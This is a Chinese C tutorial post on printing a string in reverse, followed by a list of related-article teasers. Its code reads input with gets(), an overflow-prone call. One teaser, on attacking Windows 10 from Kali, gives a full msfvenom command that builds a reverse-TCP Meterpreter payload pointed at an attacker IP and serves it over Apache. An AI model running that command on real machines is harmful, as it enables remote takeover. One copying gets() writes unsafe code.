【C語言習題】26.字符逆序

文章目錄

    • 1.描述
    • 2.解題思路
    • 3.具體代碼


1.描述

  • 輸入描述:

將一個字符串str的內容顛倒過來,并輸出。可以有空格

數據范圍:1≤𝑙𝑒𝑛(𝑠𝑡𝑟)≤10000 1≤len(str)≤10000

  • 輸出描述:

輸出逆序的字符串

  • 示例圖:

在這里插入圖片描述


2.解題思路

首先,我們需要一個接收函數用來接收字符串,這里的字符串應該用字符數組存儲。

逆序輸出,就是將數組元素倒過來輸出。

我們可以直接通過逆序的數組下標,輸出逆序字符串。

也可以將數組下標元素逆序交換,輸出逆序字符串。


3.具體代碼

我找到了兩個方法:

代碼1:

#include <stdio.h>
#include <string.h>
int main()
{int i;char s[10000];gets(s);for(i=strlen(s)-1;i>=0;i--){	putchar(s[i]);}return 0;
}

打印:

在這里插入圖片描述

代碼講解:

  1. 定義整型變量i和字符數組s。
  2. 通過gets(s)來接收輸入的語句,直到遇到換行符。
  3. 通過一個for循環來逆序打印輸入的語句。

代碼2:

這個代碼看起來復雜點。

void Reverse(char* str)
{char* left = str;// 定義左指針left,初始指向字符串的起始位置char* right = str + strlen(str)-1;// 定義右指針right,初始指向字符串的最后一個字符位置while(left < right)// 當左指針小于右指針時,執行循環體{char temp = *left;// 臨時保存左指針指向的字符*left = *right; // 將右指針指向的字符賦值給左指針指向的位置*right = temp; // 將臨時保存的左指針字符賦值給右指針指向的位++left;// 左指針向后移動一位--right;// 右指針向前移動一位}
}int main()
{char str[10000] = {0};while(gets(str)){Reverse(str);printf("%s\n", str);memset(str, 0, sizeof(str)/sizeof(str[0]));}return 0;
}

打印:

在這里插入圖片描述

代碼講解:

  1. 進入main函數,先定義一個字符數組str。

  2. 進入while循環,通過gets(str)讀取用戶輸入,直到遇到換行符。

  3. 將字符數組arr首元素地址傳遞給Reverse()函數。

  4. 進入Reverse()函數,定義左指針left,初始指向字符串的起始位置

  5. 定義右指針right,初始指向字符串的最后一個字符位置

  6. 進入while循環,當左指針小于右指針時,執行循環體

  7. char temp = *left;// 臨時保存左指針指向的字符
    *left = *right; // 將右指針指向的字符賦值給左指針指向的位置
    *right = temp; // 將臨時保存的左指針字符賦值給右指針指向的位
    ++left;// 左指針向后移動一位
    --right;// 右指針向前移動一位
    

    簡單來說,就是把最左邊和最右邊的元素位置互換。

  8. Reverse()函數執行完后,返回main函數,打印arr數組的內容

  9. 使用memset函數將str數組清零,為下一次讀取做準備。

  10. 程序會一直循環,知道用戶不輸入為止。
    簡單來說,就是把最左邊和最右邊的元素位置互換。

  11. Reverse()函數執行完后,返回main函數,打印arr數組的內容

  12. 使用memset函數將str數組清零,為下一次讀取做準備。

  13. 程序會一直循環,知道用戶不輸入為止。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/18442.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/18442.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/18442.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Android基礎-數據庫

在Android系統中&#xff0c;數據庫扮演著至關重要的角色&#xff0c;它負責存儲、管理和檢索應用程序所需的數據。隨著移動應用的日益復雜和功能的不斷增加&#xff0c;對數據庫的需求也日益提高。在Android中&#xff0c;有多種數據庫管理系統和工具可供選擇&#xff0c;其中…

NDIS協議驅動(四)

NDIS 定義對象標識符 (OID) 值&#xff0c;以標識適配器參數&#xff0c;其中包括設備特征、可配置設置和統計信息等操作參數。 協議驅動程序可以查詢或設置基礎驅動程序的操作參數。 NDIS 還為 NDIS 6.1 及更高版本的協議驅動程序提供直接 OID 請求接口。 直接 OID 請求路徑支…

利用EasyCVR視頻智能監控技術,構建智慧化考場監管體系

隨著科技的進步&#xff0c;視頻監控在各個領域的應用越來越廣泛&#xff0c;其中在考場中的應用尤為顯著。視頻監控不僅能夠提高考場的監管水平&#xff0c;確保考試的公平、公正和公開&#xff0c;還能有效預防和打擊作弊行為&#xff0c;為考生營造一個良好的考試環境。 傳…

前后端分離跨域問題解決方案

Vue和SpringBoot的跨域問題的4中解決方案 跨域問題產生的原因&#xff1a;瀏覽器的保護機制&#xff0c;同源策略協議&#xff0c;域名&#xff0c;端口&#xff1b;三個中有一個不同就會產生跨域問題 解決方案&#xff08;后端&#xff09;&#xff1a; 1.CrossOrigin注解&…

界面控件DevExtreme v23.2亮點 - 標簽、表單、編輯器功能升級

DevExtreme擁有高性能的HTML5 / JavaScript小部件集合&#xff0c;使您可以利用現代Web開發堆棧&#xff08;包括React&#xff0c;Angular&#xff0c;ASP.NET Core&#xff0c;jQuery&#xff0c;Knockout等&#xff09;構建交互式的Web應用程序。從Angular和Reac&#xff0c…

腦圖工具 在學習系統架構中的使用

系統&#xff0c;有人把它比作一個黑盒&#xff0c;有人比作一個樹洞。呃&#xff0c;其實二者都隱含的表達了一個意思&#xff0c;盤根錯節&#xff0c;一言難盡&#xff0c;欲說還休&#xff0c;說了又像是隔靴搔癢&#xff0c;感覺沒說透。 學習&#xff0c;理解和展示一個…

計算機組成原理----移碼

在網上搜索移碼是什么,大概率會搜到一個結論:移碼是補碼符號位取反,可是真的是這樣嗎? 傳統的有符號整數是將二進制數的首位作為符號位,0表示正數,1表示負數。 但在移碼中,我們不再使用單獨的符號位來表示正負。而是通過一個固定的偏置量來將所有可能的指數值映射到一個無符…

力扣每日一題 5/28

題目&#xff1a;2951-找出峰值 給你一個下標從 0 開始的數組 mountain 。你的任務是找出數組 mountain 中的所有 峰值。 以數組形式返回給定數組中 峰值 的下標&#xff0c;順序不限 。 注意&#xff1a; 峰值 是指一個嚴格大于其相鄰元素的元素。數組的第一個和最后一個元…

C語言.順序表.通訊錄

基于順序表示實現通訊錄 1.通訊錄項目的功能要求2.代碼實現3.頭文件處理4.通訊錄的具體實現4.1通訊錄的初始化與銷毀4.1.1通訊錄的初始化4.1.2通訊錄的初始化銷毀 4.2通訊錄的添加與刪除數據4.2.1通訊錄的添加數據4.2.1通訊錄的刪除數據 4.3通訊錄的修改4.4通訊錄的查找4.5通訊…

熟悉電腦快捷鍵(包含部分VS)

有很多不太電腦的小白&#xff0c;這里給大家一些常用快捷鍵&#xff0c;希望幫助到大家學習~ ctrl c 復制&#xff08;保留原內容&#xff09; ctrl v 粘貼 ctrl x 剪切&#xff08;跟復制不一樣的地方在于原內容清空&#xff09; ctrl z …

【python】OpenCV—Tracking(10.2)

文章目錄 BackgroundSubtractorcreateBackgroundSubtractorMOG2createBackgroundSubtractorKNN BackgroundSubtractor Opencv 有三種背景分割器 K-Nearest&#xff1a;KNN Mixture of Gaussian&#xff08;MOG2&#xff09; Geometric Multigid&#xff08;GMG&#xff09; …

AURIX TC3xx單片機介紹-啟動過程介紹2

AURIX TC377,TC387,TC397用戶啟動程序流程 用戶啟動程序是在Boot Firmware之后運行的程序(即用戶程序里的第一級Boot Loader,類似Linux的Uboot),初始化過程是CPU0完成的。用戶可以根據不同的復位事件來選擇不同的執行路徑。 AURITX 2代芯片的主要啟動過程如下(該階段只…

WebGL學習(一)渲染關系

學習webgl 開發理解渲染關系是必須的&#xff0c;也非常重要&#xff0c;很多人忽視了這個過程。 我這里先簡單寫一下&#xff0c;后面盡量用通俗易懂的方式&#xff0c;舉例講解。 WebGL&#xff0c;全稱Web Graphics Library&#xff0c;是一種在網頁上渲染3D圖形的技術。它…

C++模板元編程--函數萃取

在C中&#xff0c;std::declval是一個非常有用的模板函數&#xff0c;它是標準庫<utility>頭文件的一部分。它的主要作用是在不創建對象的情況下&#xff0c;獲取該類型的引用&#xff0c;從而允許在編譯時表達式中使用該類型的成員函數或成員變量&#xff0c;即使沒有默…

python中的-1是什么意思

python中的-1是什么意思&#xff1f; -1指的是索引&#xff0c;即列表的最后一個元素。 比如你輸入一個列表&#xff1a; a &#xff1d; [1,2,3,4,5,6,7] a[-1]就代表索引該列表最后一個值&#xff0c;你可以 b a[-1] print(b) 結果如下&#xff1a; 7 索引從左往右是…

P9712 「QFOI R1」貼貼

「QFOI R1」貼貼 題目描述 小 R 是一個可愛的女孩子&#xff0c;她希望通過給洛谷題目寫題解的方式跟出題人貼貼。 她發現&#xff0c;如果從題解界面點擊“提交題解”按鈕&#xff0c;博客中會自動生成 URL 標識符&#xff0c;也就是文章的鏈接。 其中&#xff0c;標識符的…

GB/T 33133.2-2021 《信息安全技術 祖沖之序列密碼算法 第2部分:保密性算法》標準介紹

編寫背景 在數字化時代&#xff0c;信息安全的重要性日益凸顯。為了加強數據傳輸和存儲的安全性&#xff0c;中國國家標準GB/T 33133.2-2021應運而生。這一標準是祖沖之序列密碼算法系列的第二部分&#xff0c;專注于保密性算法&#xff0c;旨在提供一種高效、安全的數據加密解…

升級鴻蒙4.2新變化,新增 WLAN 網絡自動連接開關!

手機已經成為現代人生活中不可或缺的一部分&#xff0c;手機里的功能可以滿足大部分人的生活場景&#xff0c;但是最依賴的應該就是手機網絡&#xff0c;手機網絡突然變差怎么辦——消息發不出去&#xff1f;刷新聞速度變慢&#xff1f;仔細檢查后&#xff0c;發現其實不是手機…

什么是邊緣計算?它為何如此重要?天拓四方

隨著信息技術的快速發展&#xff0c;數據處理和計算的需求日益增大&#xff0c;特別是在實時性要求極高的場景中&#xff0c;傳統的云計算模式面臨著巨大的挑戰。在這樣的背景下&#xff0c;邊緣計算作為一種新興的計算模式&#xff0c;正逐漸受到業界的廣泛關注。那么&#xf…

msfconsole攻擊win10及簡陋版

kali 攻擊機IP 192.168.1.19 win10 肉雞 192.168.1.15 使用 msfvenom 生成木馬 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下來把木馬復制到 /var/www/html下 開啟 service apache2 start 即可下載&#xff0c;需要做…